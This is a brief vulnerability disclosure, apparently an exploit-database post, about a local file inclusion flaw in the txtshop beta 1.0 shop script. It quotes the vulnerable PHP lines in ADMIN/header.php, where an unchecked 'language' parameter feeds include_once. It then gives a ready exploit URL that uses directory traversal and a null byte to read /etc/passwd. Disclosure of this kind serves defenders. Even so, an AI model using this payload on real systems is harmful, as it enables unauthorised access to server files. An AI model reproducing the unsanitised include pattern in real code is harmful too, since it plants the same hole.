txtshop - beta 1.0 / Local File Inclusion Vulnerability

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txtshop - beta 1.0 / Local File Inclusion Vulnerability
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$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

4. if (!$language)$language="ch";
5. include_once("../lib/lang.".$language.".php");



-- Exploit --

http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00